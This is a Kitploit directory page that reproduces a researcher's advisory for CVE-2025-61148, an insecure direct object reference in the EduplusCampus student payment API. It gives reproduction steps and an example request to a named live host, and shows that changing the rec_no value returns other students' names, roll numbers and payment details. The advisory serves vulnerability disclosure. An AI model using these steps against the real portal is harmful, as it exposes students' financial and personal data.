Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-61148 — The vulnerability exists in the Student Payment API. The application fails to properly validate whether the user requesting a receipt is authorized to view it. By modifying the rec_no parameter in the API request, an attacker can access the receipts of other users. | Kitploit
Tools/GitHubGitHub/sharma19d/cve-2025-61148
Vulnerability AnalysisWeb Application ExploitationAPI Security TestingInformation GatheringPenetration TestingLearning & Education
GitHubsharma19d/cve-2025-61148

CVE-2025-61148

The vulnerability exists in the Student Payment API. The application fails to properly validate whether the user requesting a receipt is authorized to view it. By modifying the rec_no parameter in the API request, an attacker can access the receipts of other users.

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-61148

The vulnerability exists in the Student Payment API. The application fails to properly validate whether the user requesting a receipt is authorized to view it. By modifying the rec_no parameter in the API request, an attacker can access the receipts of other users.

CVE-2025-61148: IDOR in EduplusCampus Student Payment API

CVE ID: CVE-2025-61148 Vulnerability Type: Insecure Direct Object Reference (IDOR) Affected Product: EduplusCampus Affected Endpoint: /student/get-receipt Researcher: Vinay Sharma

Summary

A critical Insecure Direct Object Reference (IDOR) vulnerability was identified in the EduplusCampus student portal (version 3.0.1). This vulnerability allows an authenticated user to access the sensitive personal and financial records of other students by modifying the rec_no parameter in the API request.

Impact

Successful exploitation allows an attacker to retrieve:

  • Full Name and Roll Number
  • Payment Amount and Dates
  • Transaction IDs (TID) and Bank Details
  • Personal Identifiable Information (PII)

Vulnerability Details

The application fails to properly validate the authorization of the user requesting a payment receipt. The rec_no parameter is sequential or guessable, and the server returns the receipt details for the requested number without checking if it belongs to the currently logged-in user.

Steps to Reproduce

  1. Login to the student portal.
  2. Navigate to the receipt generation section.
  3. Intercept the POST request to /student/get-receipt.
  4. Locate the rec_no parameter in the JSON body.
  5. Modify the rec_no value to another valid receipt number (e.g., changing PCUF-232025 to PCUF-231824).
  6. Send the request.
  7. The server responds with the personal and financial details of the student associated with that receipt number.
image image

Example Request

root@kitploit:~
POST /student/get-receipt HTTP/1.1
Host: student.edupluscampus.com
Content-Type: application/json
Authorization: Bearer <token>

{
    "rec_no": "PCUF-233012"
}

### Leaked DATA Example:
{
    "fullname": "REDACTED_NAME",
    "rollno": "CSE2019XXX",
    "component_total_amount": 55000.0,
    "trans_list": [
        {
            "date": "21-Oct-2024",
            "mode": "Online",
            "amount": 55000.0,
            "tid": "42951XXXX"
        }
    ]
}

Vendor Information

  • Vendor: EduplusCampus
  • Product: EduplusCampus Student Portal / Student Payment API

Affected Versions

  • Version: EduplusCampus 3.0.1

Discoverer

  • Vinay Sharma - Security Researcher
Download Tool